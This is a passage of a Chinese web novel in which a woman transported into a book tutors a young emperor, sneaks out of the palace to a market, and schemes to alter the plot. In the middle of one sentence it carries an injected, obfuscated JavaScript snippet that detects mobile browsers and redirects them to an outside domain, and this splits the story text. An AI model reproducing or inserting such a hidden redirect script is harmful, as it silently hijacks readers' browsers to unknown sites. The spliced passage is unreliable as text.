云黛肚子又咕叽了一声,骆明烛看过来,不好意思地说了句:“陛下不用管其他声音,那些都是阻碍您获取知识的障碍。” 她迅速将民主解释完,就说要走。 肚子太饿了,说话都没力气,进来前还在外面站了好一会,消耗了很多体力,再说下去,她怕自己要当着骆明烛的面趴在这里。 谁知她刚想起身走,少年天子却疑惑道:“孤还是不解这二字的意思,尚仪大人能再解释一遍吗?” 云黛微笑,说了好,有气无力地又解释了一遍,为了快些说完快些走,她解释时,语速快了很多,也不管他有没有听明白,迅速说完就走。 结果刚站起来,骆明烛又问她:“那富强与民主有何关联吗?” 云黛没力气说了,她直接求饶:“陛下,臣来时匆忙,未曾用饭,此刻已经没有力气想这二者之间的关联。” 实际上是她不记得了,都多少年没碰书,这还是靠着那么一丁点记忆胡诌出来的。此刻云黛十分庆幸自己是文科生,遇到这事还能编上几句。 也亏得这骆明烛不管国事,不然她这点不着调的理念早晚都得露馅。 “尚仪大人是饿了?”少年天子紧张起来,关心道:“您怎么不吃东西就来孤这?这对身体不好。” 云黛笑了笑,心想这孩子还挺心善,知道关心人。于是她趁机提出今日授课就到这里,她回去收拾收拾。 骆明烛却道:“可今日您授课的时间远不及昨日长,您是不是觉得孤愚笨,不想教孤?” 说着,他低下了头,一副难过的样子。 云黛笑不出来了,她现在觉得这孩子过分地自卑,她明明没这么想,也没表现出来一分嫌弃他,他怎么想到这来了? “我没有,陛下聪明着呢。” 少年天子依旧低着头,语气低落:“大人定然是在哄孤,大人也和母后一样觉得孤愚笨,成不了才。母后请了很多大儒教孤,最后都说孤朽木不可雕,您也是这般认为的吧?” “???”云黛一脸问号,她什么时候这么觉得了? 她只是想回去吃顿饭而已!怎么就扯到这上面了? “陛下不要妄自菲薄,陛下很聪明,天资过人、人中龙凤、聪明绝顶、才智过人、大智若愚、闻一知十、大智若愚、心灵手巧、七窍玲珑、智勇双全……” 云黛觉得自己要窒息了,一口气说完脑子储存的成语,一阵头晕眼花,眼冒金星。 “陛下很聪明的……” 云黛想让系统夺舍自己,让系统走这个乱七八糟的剧情,她直接去地府排队投胎去。 也没人告诉她,教礼仪还得给学生情绪价值,还得哄学生啊! 少年天子蓦地抬头,一双眼满是欣喜:“大人真的是这么认为的?” 云黛哼了一声,胳膊肘撑着桌面,靠在桌上,点了头:“陛下超级聪明!非常非常聪明……”这要是她有力气的时候,还会多吹一会,现在嘛,一点心思都没有,只想回去。 “不若臣回去收拾好,再回来教陛下?” 云黛只想骆明烛一口答应,这孩子看着挺好说话的,怎么她都说了自己很饿,他 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“既然陛下要休息,臣就不打扰了,明日臣早些来教陛下!”云黛抓住机会,立刻起身,忘了自己头晕,动作太猛,脑袋晕眩,人站不稳,摔倒了。 哗啦一声,东西被打翻,云黛手忙脚乱地撑着矮桌,缓了一会,睁开眼一看,心里一个咯噔。 坏了,她把墨水打翻了,全都洒骆明烛身上了。他手背上全都是墨水,袖子全湿。 “对不起对不起,我不是故意的,你没事吧?”她急得拿自己的袖子给他擦手,手刚伸过去,他人就站起来,往后退了一步。 “无事。” 云黛脑袋还晕着,没听到他这句话,身子继续往他的方向倾斜,想给他擦手。 小福子敲了门,急切道:“陛下,需要奴才进来吗?” 骆明烛蹙眉望着这个冒冒失失的女子,说了声不用。小福子退下:“陛下若有需要,直接叫奴才。” 云黛想给他擦,几次都碰不到,他垂着手,墨水一滴滴往下掉。 “那陛下自己处理?” 骆明烛只低头看自己被她弄脏的手,没有回答。 “那我走了?” 云黛往后退了一步,见他没什么反应,掉头就走,脚步越来越快,走到门口时,直接跑起来。 小福子喊她时,她头都不回,直接跑:“我有些事要处理,今日便不来了,明日再来。” 她的声音传到殿内,清脆明亮,能听出话里带着解脱。 骆明烛抬眸,瞧着矮桌上的斑驳痕迹,抿了唇,半晌才叫小福子进来。 小福子一见他手上的墨汁,连忙叫宫女去打水,拿出帕子,跪倒他身侧,托起他的手,一根一根小心翼翼地擦。 “云尚仪跑着出了乾坤宫,定是因为冒犯到陛下,心虚吧。”小福子擦干净,接过宫女端过来的净盆,赶走宫女,换个干净的帕子,打湿后拧干,继续擦。 发觉骆明烛袖口上也沾了墨汁,气了:“陛下怎么不罚她,她这般冒犯陛下,一点规矩都没有。” 骆明烛抽出手,五指伸入凉水中,未理袖子,沾墨的袖口一浸泡到水里,立刻晕开墨迹。 “你会罚一个随手能捏死的蚂蚁?” 小福子哆嗦了一下,说不会。他还是忍不住,噼里啪啦全说出来:“云尚仪敢带那污秽之物来,又是太后派来的,定然太后派来监视您的,说不定还想教坏您!” 骆明烛抬起手,水珠一连串地坠下,水已经被染黑,瞧不出一丝洁净。 他墨一般幽深的眼瞧着这涟漪散开的水面,忽地笑了一下。 随后这张脸面无表情看向小福子,“你觉得她能教坏孤?” 5. 第 5 章 小福子想到之前都气急败坏离开的大儒们,摇了头:“陛下厉害着,定不会被她们教坏!” 小福子比骆明烛还要小两岁,有些事隐隐约约也能意识到,虽然说不明白,但心里清楚。 他把水端出去,骆明烛走到屏风后,去换衣服。 “骆明烛不让宫女伺候,小福子死了后,袁络仪给他换了个太监,天天监视他。” 系统说完,问云黛:“你想和小福子搞好关系?” 云黛吃了口厨房的剩菜,咀嚼了两下就吞下肚,说:“我是想着,小福子不是和骆明烛关系好吗?那万一我以后又起不来,让他给我在骆明烛那争取让我晚点去,或者就不去了。” 今天实在是吃不消。 谁知道昨晚睡得那么香,连叫她起床都听不见。 系统:“但是你拿什么跟他搞好关系?” 云黛想了想,看向原主放银子的地方,说:“等我这个月发工资了。” 原身月俸也挺多的,现在又不用花钱,全拿去贿赂小福子,小福子应该不会嫌少吧。 “烦死了,怎么到哪都得搞关系。” 云黛又吃了一口,这饭味道一般,不好吃,想点外卖。good茗,婶子,竹子猫,还有小雪,我好想你们啊! “尚仪大人,您还有什么吩咐吗?”一身穿鹅黄色衣裙的宫女站在门口,面带微笑,还关心了几句:“日后大人若是有事要处理,没时间用膳,只需告诉奴婢一声,奴婢给您留饭。” 云黛冲她笑了一下,本能地说了声谢谢,“不用了,你忙吧。” 绿翘哎了一声,“您用完再叫奴婢一声,奴婢来收拾。” 云黛吃完,直接自己端了碗筷放回厨房,她本来想自己洗的,婢女不干,她就放那让她们收拾了。 走之前她手背在身后,大老板似的巡视厨房,看她们准备饭菜,食材挺多,大多都是素菜,不是供给皇帝太后的,规格差了些。 还是当皇帝好啊,有吃有喝有人伺候,比当牛马快活多了。 云黛吃完就趴在床上,和系统唠嗑:“你有没有别的不会被哔的小说?” 系统:“只有这一本……” 云黛遗憾,还以为这个系统是个人工智能,原来是个人工智障。 “行吧,你再和我说说这书里其他出现的人物。” 系统直接将出现的人都列出来:“骆明烛,小福子,袁络仪,骆翼鸿……” 说了等于没说。 就是本小h文,没几个人,剩下的得她自己探索。 睡得多了,云黛现在不困,又不用上班,难得的清闲。 “这要是在原本的世界,只要上一个小时班,那得多爽。”属于是临死前的幻想。 云黛晃了晃脚,有点无聊,原身的职务她又不用干,现在也不用教骆明烛,真闲下来,突然觉得空虚。 “要不我现在去备课,明天继续教骆明烛二十四字箴言,下一个是什么来着?”她想了想,想起来是文明。 “你一直教骆明烛这些,万一袁络仪问你,你要怎么说?” 云黛翻了个身,躺在床上,不在意道:“就说骆明烛学得很好,要领都学到了,还会举一反三呗。这事她要怎么检查,让骆明烛当着她的面做啊?” 说到这,云黛笑出了声:“我不行了,一想到娘派人教自己孩子学床上礼仪,我就想笑。怎么这没有手机呢,这个帖子一发出去,流量大大地有。” 系统:“书里袁络仪盘问过云黛的。” “那咋了,问就问,大不了被砍头,我就去投胎!”云黛开始想念自己的手机,这里就一本小h文,还被哔了,太无聊。 云黛猛地起身,去找出宫令牌,她想出去逛逛,不是说古代有说书先生,那不比人机读书好听多了? “你说这令牌能出去几次,好像是每个月出宫次数都是有限的。” 云黛捏着令牌,金灿灿的,看着像是金子做的。 “你可不可以想想怎么走剧情?” 云黛觉得不可以:“反正都是要死的,我干嘛要按原书剧情走?那多没意思。” 系统没话说。 “先去试试看能不能出去。”说干就干,云黛拿着令牌就往外走,谁知刚走出厢房,迎面就走来一个熟人。 袁络仪身边的王嬷嬷冷眼看她:“这个时候你不该在陛下那,教他礼仪吗?” 云黛摆出笑:“陛下要休息,便叫我回来了。” 坏了,被发现翘工了,她不会被带到袁络仪那吧。 刚这么想,王嬷嬷直接“请”她去见袁络仪。 云黛:我的嘴真灵。 再次跪在袁络仪面前,云黛没有上次慌,但也有点紧张。主要是老板喊自己干活,信誓旦旦会好好干,结果摸鱼就被发现。 她问系统:“袁络仪会不会扣我工资,我还靠这个月工资贿赂小福子呢。” 系统:“我觉得你应该担心你的脑袋。” 云黛不担心自己的脑袋,早晚都要死,她在意的是能不能潇洒一回再死。 “这两日,你都干了什么?” 云黛开始假里掺真汇报成果:“昨日臣带着太后给的画册去乾坤宫教陛下,陛下学得很好,还留下了画册学习。” 事实上是她不小心丢了,还没找到。 “今日臣继续教陛下,陛下提出疑问,臣便为陛下解惑。” 云黛绞尽脑汁,继续编:“不过陛下似乎对自己不太自信,臣加以鼓励,不过仅靠臣一人,难以帮陛下树立信心,或许太后您也可以帮着一起——” “放肆,你也敢指使太后做事?”王嬷嬷怒呵,声音大得云黛觉得自己耳朵都快聋了。 说话就说话,声音这么大干什么。 云黛没敢再说话,心里蛐蛐王嬷嬷。 袁络仪示意王嬷嬷不用这么凶,漫不经心道:“皇帝确实有些自卑,前些年哀家叫了各个领域内的大儒教他,原本想着教他成才,好好治理大祁,没曾想,他不是这个料子。” 云黛想到骆明烛说政务都是袁络仪在处理,原来是因为这个吗? 她没接话,在问系统:“这不是个小h文吗?怎么他们俩说治国之事?我是不是穿错文了?” 系统特地去确定了一下书名,《渡山河》,没错啊。 “如今得麻烦云尚仪多用心些,皇帝虽是愚钝,但性子温良,你耐心教,他会学会的。” 云黛觉得这话说了跟没说一样,哪个人不会这事啊,这事用教?不过她还是笑着应下来,只要不扣工资,都好说。 袁络仪又问了几句,让她走了。 这一趟有惊无险。袁络仪没说在某某期限内教会骆明烛,目前还是安全的。 云黛没有直接回尚仪局,掉头往宫门走。 路上的宫女侍卫见她,纷纷行礼。云黛起初还略有些急促,后来适应了,挺着胸腹直接走,谁喊一声尚仪大人,她就哎一声。 系统:“你适应挺快的。” “你不懂,权力在什么时候都适通,就我之前那领导,被人叫的时候,神气极了。” 云黛走到宫门那,亮出令牌,侍卫真让她出去了。 她望着外头街道,远处建筑高低起伏,马车行驶过宽敞的街道,人声鼎沸,热闹极了。 “系统,你说,我要是就这么一去不复返,是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252318|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不用教骆明烛,也不用被袁络仪盯着?” 系统:“那你连京城都出不了。” “是哦,他们要是通缉我,我还没地方藏。”云黛迈出宫门,仰头看天,摸了摸自己头上发簪,迈脚步上街道。 “走,逛街!” 云黛美滋滋往外跑,不过一会,脚就开始痛。这路太长,走了好一会,宫门还能看得一清二楚,这要是没有代步工具,走到天黑都不知道能不能看见集市的影子。 “你说这里的马车能不能载我一程,应该都是私人的吧……” 系统:“你可以试试。” 云黛瞅了眼自己的衣服,走的时候随便拿了几根簪子,昨晚睡的时候手上东西没拆,还有两个翠玉镯子,这东西应该挺值钱的。 她站在路边,盯着来回跑的马车,选了个合眼缘的,招了招手。 她觉得自己这个时候应该喊:“taxi~taxi~” 马车还真就停下来了,车夫是个穿黑衣的黄皮小伙,问她有什么事。 云黛上前说:“我想去最近的集市,您可以捎带我一程吗?”说着她强调了一句:“我会付钱。” 车夫掀开帘子,往里头说了句话。 云黛好奇看了眼,里头还有人啊。 车夫转头,冲她说:“我家公子说了,可以捎你一程,不用付钱。” 云黛哎呦一声,说好:“这回遇到个好心人了。”她爬上马车,想着和车夫坐一块得了,车夫却掀开帘子,让她进去。 云黛弯着身子,进去一看,里头坐着个帅气公子,朝她笑:“姑娘这边坐。” 她忽然拘谨起来,说了声谢谢,坐在他对面。 马车行驶,云黛的心跟着一起一落。她问系统这人是谁,系统一句不知道。 “没用的系统。” “谁让你跑出宫的。” 云黛和系统对骂,被公子一句话说得心一跳。 “姑娘是宫里出来的吧?” 云黛一愣,瞧了眼自己,问:“你怎么知道?” “姑娘身上穿的便是宫中服制,很好认。” 云黛回过神,不好意思地笑了笑:“你眼神真好。” 公子微微一笑,不再言。 云黛瞧了他好几眼,这人看着比骆明烛成熟多了,气质温润,应该是哪个大户人家的公子。 可惜系统没用,不知道他的身份。 他不说话,云黛也不好意思打扰他,保持社交距离,沉默到车夫说集市到了。 她又说了声谢谢,跳下马车,一眼瞧见豪华的集市,感叹一声:“我要是住在这里就好了。”市中心啊!房价肯定高。 她正要进去,余光瞥见公子也走过来,诧异道:“你也是来这的?” 公子笑道:“在下本就要来,顺路了。” 怪不得不要她钱,云黛想了想,再说了一声谢谢,刚要自己去玩,迎面走来一公子,吊儿郎当的,直接冲那公子说:“贺大人又来给妹妹寻稀奇玩意了?” 系统突然出声:“我知道他是谁了!他是骆明烛纳的一名妃子的兄长,叫贺雁山,他妹叫贺燕林。” 云黛一听,仔细瞧那温润公子,他正向那纨绔公子说话,态度冷淡,显然关系不太好。 “你说,我要是告诉他,他妹会当骆明烛的妃子,他会不会相信我?” 系统:“你别搞事情。” “或者我跟他说,骆明烛会被杀了,皇叔骆翼鸿会登上皇位,他会不会保护骆明烛?” 系统:“这是小h文,不是权谋文。” 云黛一拍手心,笑了,朝前面的公子招手:“贺大人,我有事与你说。” 6. 第 6 章 集市人多,随便说几句话都能被听见,云黛没有直接说,等贺雁山回头看自己,她只说了一句:“有件要紧的事,这里不大方便。” 系统:“你别乱来。” 云黛笑眯眯:“大人可先做你的事,我在马车边上等你。” 贺雁山打量她,微微蹙了眉,没有理会身后郝建的声音,直接道:“既然是急事,那便先去马车里说。” 云黛没想到他这么好说话,转身往马车那走,贺雁山朝郝建抬手作揖,道:“臣有些事要处理,世子请便。” 贺雁山上了马车,车夫盯着郝建,眼神凶狠。郝建没在意,冲马车瞪了眼,转身就走。 “姑娘有何事要说?” 云黛直接问了:“府里可有将千金送入宫中为妃的打算?” 贺雁山稍有惊愕之色,迟疑道:“为何这么问?” 云黛问过系统,原书里是有选妃这个剧情的,不过那也是在后期,大概是原身死了有大半年,作者直接写选妃,中间的情节一笔带过。 “若是有这个想法,我可以提前告诉你,贵府千金可以入选。” 云黛觉得自己像是在玩游戏,如同全知全能的神,知道他们的命运,告诉他们,打乱了原本的剧情。 “你这么做有什么好处?剧情打乱了,你就不知道后面会发生什么。” 云黛回答系统:“一板一眼的人生有什么意思,反正我都死了一回了,这一次就疯狂一点呗。” 这是云黛看到宫门外恢弘之景时,产生的想法。 她死了都能穿到书里,说明这个世界还有更高维的存在,她的一举一动也在别人的监视中,与其按部就班,不如出其不意,她不想走原书的剧情,那与被掌控命运有什么关系? “姑娘莫不是在框我?” 反正消息告诉他了,信与不信,取决于他,云黛干脆再狠一点,将那些个妃子全都说出来,不过没说皇后,她直接将皇后也混在妃子里,说不定她这么一说,皇后也变了呢。 “大人可以选择不相信。”云黛又说:“我已去其余几位千金府上说过,大人不信,他们可不一定。” 云黛没有再说,直接下了马车,去逛集市。 “大人,她说的是真的吗?” 贺雁山掀开帘子,透过缝隙去看女子,目光探究:“真与不真,问了便知。” 云黛那么说是唬贺雁山的,她刚出宫,哪里见过其余几位千金,反正先搅混了水,其他的再说。 她没钱,只能看着各式各样好看的稀奇玩意,最后用发簪换了一顿饭,好吃极了。 比她点的外卖还好吃,但是宫里应该吃不到。突发奇想,她叫来小二,问:“你们这的菜,能不能送到我那去?” 小二疑惑:“你的意思是?” “就是我定好了,你把做好的菜送到我住处,我再给你钱,”她又补了一句:“你送到我这来,我给你路费。” 小二摇头:“这路上菜要是洒了,我们岂不是白干?不行,不行。” 云黛只好作罢。 她磨磨蹭蹭吃着,吃完天都快黑了,心一惊,急着要回去,谁知道刚出酒楼,外头杂耍的来了,这一看,脚步慢慢就停下来,跟着人群一起往杂耍的那走,连回宫都忘了。 系统提醒她:“天黑了。” “不着急不着急,再看一会。” 杂技团里的人各个都有绝活,云黛看得目不转睛,脚都挪不动。 “已经过去半个小时了。” 人群嬉闹,掌声响起。云黛没零钱,直接把簪子扔到盆里,那人一见她如此豪爽,一把拉住她,将她拉进去,迎面来了两个壮汉,一前一后架住她,将她往天上抛。 云黛张开双臂,感受一起一落的刺激感,早就把回宫抛到脑后了。 她欢呼着,极度亢奋。 杂技团的人将她放下来,把发簪还给她。 云黛不解:“你们收着呀。” “这太贵重了,受不起。”那人不好意思地笑笑:“您能捧场,我们已经很高兴了。” 云黛想了想,把镯子拆下来给她:“这个不值钱,你收着。” 那人还要拒绝,云黛直接往她手里一塞,掉头就跑。 “好东西不留着,傻。” 云黛跑出人群,又跑了好一会,确定他们没追上来,停下来喘息,嗓子干得冒烟。多少年没跑步了,现在一跑,累得要死。 “现在什么时候了?” 系统:“你已经玩了好几个小时了。” 云黛一惊,赶紧找马车带自己回去,“宫门晚上好像会锁。完了完了,别到时候进不去,还要在外留宿吧!明天还要去教骆明烛呢!” 她匆匆拦下一辆马车,好在这家人好说话,收了发簪把她送到宫门口,直接跑了。 宫门已经在关了。 云黛急得都顾不上拎裙子,直接往里头冲:“别关!别关!” 她离宫门不到三米时,瞧见一人从另一个方向跑进来,那人一身黑衣,亮出令牌,侍卫停止关门。 云黛一口气跑进去,冲那黑衣人说:“谢谢你啊,你这令牌挺管用。”她累得趴在黑衣人背上,一个劲喘气,缓了一会,见那黑衣人还不走,直起身,继续往前走。 宫门是不关了,尚仪局就要关了,她要是没有赶在锁门前回去,被袁络仪知道了,又要审问她。 她又开始跑,空荡荡的走廊里只有她跑步的声音。 黑衣人慢慢跟在她身后,走去了乾坤宫的方向。 云黛差一点就要被锁在外面了,她一回房间,连喝了好几口水才缓过来。 系统:“下次还跑出去吗?” 云黛气喘吁吁,说了两个字:“刺激。” “下次还干。” 系统:“你不累吗?” “累啊,但是刺激啊。”云黛决定下次出去的时候,计算好时间,免得跑得累。 云黛躺了好一会,才去洗漱,这里洗澡很麻烦,幸好原身权力大,有地方洗。 洗完她继续躺在床上,激动得睡不着:“系统,你知道吗,我被他们抛起来的时候,能看到这个世界所有的景色。” 系统:“你看到了什么?” “我看到灯红酒绿的集市,还有四面八方被看着的皇宫,远处高山黑云,夜空笼罩大地。” “感觉自己在飞。” 云黛之前没机会出去玩,去的最高的地方是公司天台,底下车辆川流不息,人站在天台,轻飘飘的,头晕。 现在么,也是轻飘飘的,感觉自己成仙了。 “不知道下次去,能不能再碰到他们。” “你心思都不在骆明烛身上了。”系统幽幽出声。 “干嘛要在他身上,我都下班了,还不能快活点?”云黛明着蛐蛐系统:“你是羡慕我能出去玩。” “等你把那些首饰花完了,我看你还能花什么。” 云黛一个激灵爬起来,“对哦,你不说我还不知道,下次袁络仪要是问我,我就让她给我涨工资。”属于是睡觉前的幻想。 “睡了,明天记得喊我。”云黛闭眼。 十分钟后她睁开眼,去吹灭蜡烛,继续回床上睡觉。 半个小时后她问系统:“你睡了吗?” 系统:“没有。” 一个小时后云黛问系统:“你现在睡了吗?” “没有。” 两个小时后:“系统,你睡着了吗?” “没有。” 外头传来打更的声音,云黛翻了个身,说:“系统,我睡不着。” 系统:“闭上眼数羊。” “你给我念小h文吧。”云黛看着外头的人拎着灯笼走了,越来越精神:“你说骆明烛天天那么早休息,是不是因为肾虚啊?” 系统:“不知道。骆明烛摊开画册,指着其中一个姿势,说:‘哔哔哔——’他扔了画册,往后退,哔——” 云黛没什么心情 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云黛来劲了:“那我要是跟骆明烛说呢?能告诉他吗?他要是知道了,会不会自己去学?然后就用不着我来教他了?说不定原书剧情就被改了,我就不会跟原身那样,被袁络仪杀了?” 系统:“你可以试试。” 云黛没那个胆子,又不敢说了。 “算了,这要是按小说里写的,早晚都会成为他的妃子,我就算说了,也没什么用。” 云黛重新闭上眼,争取一觉到天亮,结果失眠到天亮了才睡着。宫女来喊她,她立刻醒了,又倒回去继续睡。 等她再醒来,一看到屋子里的日光,心一沉,问系统:“你为什么不喊醒我?” 系统:“我喊得醒吗?” 云黛睁着眼,欲哭无泪:“要不我装病,今天不去了?” 越想越觉得这是个好主意,她立刻对外头的宫女说:“若是有人来,就说我病了。” 小福子把这个消息带回乾坤宫,照着原话说。 矮桌后的少年天子停笔,瞧着纸上写的“富强,民主”,旋即扯出笑:“病了?” “云尚仪宫里的宫女就是这么说的。” 骆明烛静静瞧了会纸上歪歪扭扭的字,慢条斯理地将纸叠得整齐,丢在桌上,缓缓道:“去请云尚仪来,就说孤很喜欢她的课,昨日听得有些困惑,想听她为孤解惑。” 小福子立刻去叫云黛来。 “陛下很喜欢您,劳烦大人再去一趟了。” 云黛本来就没抱多大希望,没想到真的避不开。她就不明白了,这课有什么好上的,换个人解惑不也一样吗? “你看,你还得去。” 云黛哼了一声,一转身,笑着面对小福子:“公公稍等片刻,我收拾一下,就去乾坤宫。” 小福子没走,等她收拾好一起走。 云黛只好假装收拾,一背对小福子就使劲吐槽:“就不能给我请一天假吗!我黑眼圈这么重,怎么见人!” 云黛现在头重脚轻,随便抹了几把脸,让黑眼圈看起来没那么重。随后深吸一口气,跟着小福子去乾坤宫。 骆明烛,你今天最好乖乖放我走,不然我就去袁络仪那说你坏话! 照旧是她在外面等着,小福子进去通报,这次只等了一小会,就被领着走进去。 少年天子依旧坐在矮桌后,见她进来,期待又自责:“听说尚仪大人不太舒服?”他打量她好一会,才说:“孤见大人看起来很正常,没有不适。” 云黛挤出笑:“臣已经好了。”本来就是装出来的不适,这不是您要见我,赶紧打起精神来见你了? 骆明烛放了心,又问:“今日尚仪大人要教孤什么?” 云黛刚想说要教他“文明”,想起来昨天袁络仪问自己教得怎么样,试探道:“太后有来问过陛下,我教得怎么样吗?” 少年天子点头,说:“母后来过。” 云黛心都快跳到嗓子眼了:“她问了什么?” 7. 第 7 章 骆明烛看着她焦急的模样,慢慢说:“母后问大人都教了些什么。” 云黛睁大眼看他,瞬间精神:“你怎么说的?你不会是把我——”她不敢想,骆明烛要是直接对着袁络仪说,她教的是富强民主,而不是那些乱七八糟的东西,袁络仪应该会气得要杀了她。 对哦,她到现在还活着,袁络仪应该不知道。 她放松下来,听到骆明烛说:“孤说自己愚笨,学不会。” 云黛点了点头,说:“你不笨,你聪明着呢。” 她放了心,转头去搬椅子,每次来都得自己搬,真累。 她身后的少年天子只望着她,眼底的探究一闪而过,待她走到自己对面要坐下时,忽然开口:“尚仪大人看过外面的风景吗?” 云黛坐下来,随口回了句:“见过啊,我见的可多了,高山大海,戈壁荒漠,海底世界。”发现自己说多了,找补一句:“都是我在说书人那听来的。” 现代小视频不也算是说书人吗,地方是没去过,但眼睛见过。 “今日教的二字箴言是‘文明’。” 云黛瞧见他干净的手,指甲缝干干净净,一点墨都没残留,好奇问了句:“陛下用什么洗的手,这么干净?” 骆明烛动了动手,说:“小福子擦的。” “哦。”云黛一喜,有了跟小福子拉进关系的方法,找到了共同话题,再去说,那不就快多了。 云黛说了一会,没什么好讲的,本来就不记得多少,现在连编都编不出来。到最后她望着骆明烛,拿出那句万金油:“你先自己思考思考,不懂的再问我。” 谁知这句万金油失效了。 骆明烛不好意思地说:“尚仪大人前几日教的,加上今日的,孤都不太明白。” “……”云黛心道您幸好没有管理国家,不然您得害多少人。 她又将解释的话背了一遍,期待看他,他睁着黑黢黢的眼睛,露出无辜的表情:“孤还是不懂。” “这样,我写下来,你先背会了。”云黛没办法,拿了他的纸笔就写,她就这样伏在矮桌上,头越来越低。 “你这桌子太矮了,不好写字。”云黛勉强默写出来,拿给他看,把笔放回去时,瞧见压在砚台底下叠起来的纸,想了想没拿出来。 搞不好是什么机密事,看到了就掉脑袋的那种。 骆明烛注意到她发现自己压在砚台下的纸,但她没有拿出来。 他动了手,抽出纸,展开来,语气低落:“孤的字还是比不上大人的。” “富强,民主”四字显露,云黛确实看了一会,才认出来,她小声说:“陛下没有练字吗?” 少年天子指向不远处篓子里的废纸,声音听起来很难过:“孤练了,没有效果。” 云黛哄他:“一次两次当然看不到效果,我的字还是从小练的,这都十几年了,当然写得比你好。” 云黛发誓自己不是故意这么说的,她只是嘴快。这句话一说出来,就知道自己说错话了。 少年天子眼泪汪汪看她,一眨眼,泪珠低落,晕开她的字迹。“孤知道孤笨,尚仪大人也嫌弃孤……” 云黛赶紧哄他:“没有!我没有嫌弃你!我这人性格就这样,话说得快,你别放在心上。”她的话好像没起到安慰的作用,少年天子坐在那,低着头,手攥着那写着歪歪扭扭字的纸,怎么看,都像是被骂哭的。 “别哭!别哭!” 云黛觉得自己也没说什么重话啊,怎么就哭了呢?心理这么脆弱?那还能当皇帝? “这样,我教你练字,行吗?”她没办法,真要把人弄哭了解决不了,搞不好就能去地府见阎王了。 少年天子立刻止住了泪,露出笑容,却没有立刻相信,小心翼翼问:“真的?” 云黛点头,说:“真的。” 少年天子却摇头:“孤不信。” 云黛觉得自己在带孩子,把孩子弄哭了,好不容易哄好,信誉没了,做什么都要被怀疑。 她只好拿了张白纸,写上自己的名字,煞有其事地写了承诺书:“我,云黛,从今日起教陛下练字。”写完了她把承诺书给骆明烛,朝他笑了一下:“喏,现在信了吗?” 骆明烛望着她的笑容,不知想起什么,没有说话,只将纸叠好,压在砚台下,手里还拿着那张纸。 云黛直接把纸抽出来,捏成一团,瞄准废纸篓子,扔进去,准头很好,一击就中。 “扔了,以后就跟着我学。” 她可能是昨晚太激动没缓过来,现在说话做事都是按着本性来,也没注意到骆明烛看自己的眼,阴沉沉的。 等她回头看骆明烛时,他仰起脸,说了声好。 少年天子眼睫上沾着泪珠,双眼水润水润的,说话的语气也很软,看着就好欺负。 难怪原身会矜持不住。 这要是她,她也会被迷了眼。 “喏,你先临摹这些字帖,要耐心点,慢慢来。”云黛看了他的字帖,都是名家之作,好得很。可能是小时候没练,字迹成型,不好纠正了。 “我这几天教的内容都给你写在纸上了,你背熟了,就理解了。”云黛那会子也是这么学的,这方法虽然笨,但还是有点用处的。 “那今日就到——”云黛本来想走,骆明烛又冒出一句话。 “商议大人明日可以来早些吗?孤昨日和今日都等了你很久。”他看起来像个被抛弃的兔子,红着眼,眼巴巴望她。 云黛当然是想来早点,谁知道两天都起晚了。 “陛下放心,明日我必定会早些来。”她就是想着早点来早点回去,她还想出宫玩呢。 骆明烛嗯了一声,说:“那大人陪孤练练字吧。” 云黛的笑容一僵,忍了忍,实在忍不住:“陛下今日不用早些休息?” 少年天子握住笔,写了一个字,仰头问:“尚仪大人不是说要教我练字?” 云黛确实是这么说的,但是不知道现在就开始,她刚想挣扎着明天再来教,骆明烛就从砚台下把她亲手写的承诺书拿出来,摊开给她看。 “从今日起”这四个字尤为明显。 真是搬起石头砸自己的脚,自己给自己挖坑。 她只好摆出笑:“臣教您。” 她拿了墨笔蘸墨,磨磨蹭蹭就是不写。 骆明烛直起身,俯视她,将这张没什么效力的承诺书叠好,放到砚台边上。 有力气出宫玩,却撒谎说病了。 还说这些哄骗的话,真当他是个孩子。 云黛开始觉得这个孩子不好骗了,她确实说“从今日起”教骆明烛练字,但是没想到他真就这么较真,非得今天开始练。 她握着毛笔,不知道该写些什么东西,随便写了几个字,给骆明烛看:“喏,你练吧。” 骆明烛垂眸,看到上头的四个字,再抬眼看面前的女子,眼底闪过杀意。 他开口时,却是疑惑的语气:“尚仪大人要孤练‘天道酬勤’?” 云黛理所当然地嗯了一声:“我小时候就是练的这个,你也练练看?” 骆明烛没有说话,低了头,看着这四个字,女子的话里全都是敷衍,他已经察觉到她没了耐心,但依旧不让她走。 乾坤宫哪是那么好进来的? “孤不知从哪一笔开始,尚仪大人可以教孤吗?”他重新仰起头,用他那一眨就能哭出来的眼睛看她,眼里满是请求。 他说话时姿态放得很低,谁也不会去猜他是否真心请求,云黛招架不住,只好走到他身后,让他坐下来,握住他拿笔的手。 被碰到的瞬间,骆明烛条件反射地要反握住她的手,将这只冒犯他的手捏碎。 额间青筋一跳,忍住杀意,让自己的身体放松,盯着她握住自己的手,发出疑惑的语气:“大人这是在做什么?” 云黛本想手把手教,结果自己手太小,握不住。声音小了点:“我这不是在教你嘛。” 云黛自知自己耐心从来都不好,家里本来想让她报师范的,她没报,一来没耐心,二来嗓子疼。 现在一想,果然很明智。 她连教个人写字都不想教,怎么能当得了老师! “这样,你看着我写。” 她一时心急,直接从骆明烛手里抽出笔,等看到他一手的墨,立刻想起来这是毛笔,不是圆珠笔,尴尬地说对不起。 “这个……我不是故意的。” 骆明烛摊开手,掌心纹路格外清晰。 云黛一把抓过他的手,赶紧用袖子给他擦,这次倒是能握住了。 “我真不是故意的!”一擦完,就见骆明烛睁着充满水雾的眼控诉地看自己,忽然觉得百口莫辩:“我真没有!我忘了……” 云黛朝他手心一指:“你看,我已经给你擦了。” 少年天子只看着掌心,声音听起来很难过:“可是没有擦干净。” 云黛眨了眨眼,这还要讲究?你晚上洗澡不就顺带着洗了? “我去叫小福子来?” 骆明烛抬眼,无声地看着她。 一看到这眼神,云黛又有种自己在造孽的感觉,她真不是故意的! “我,我去给 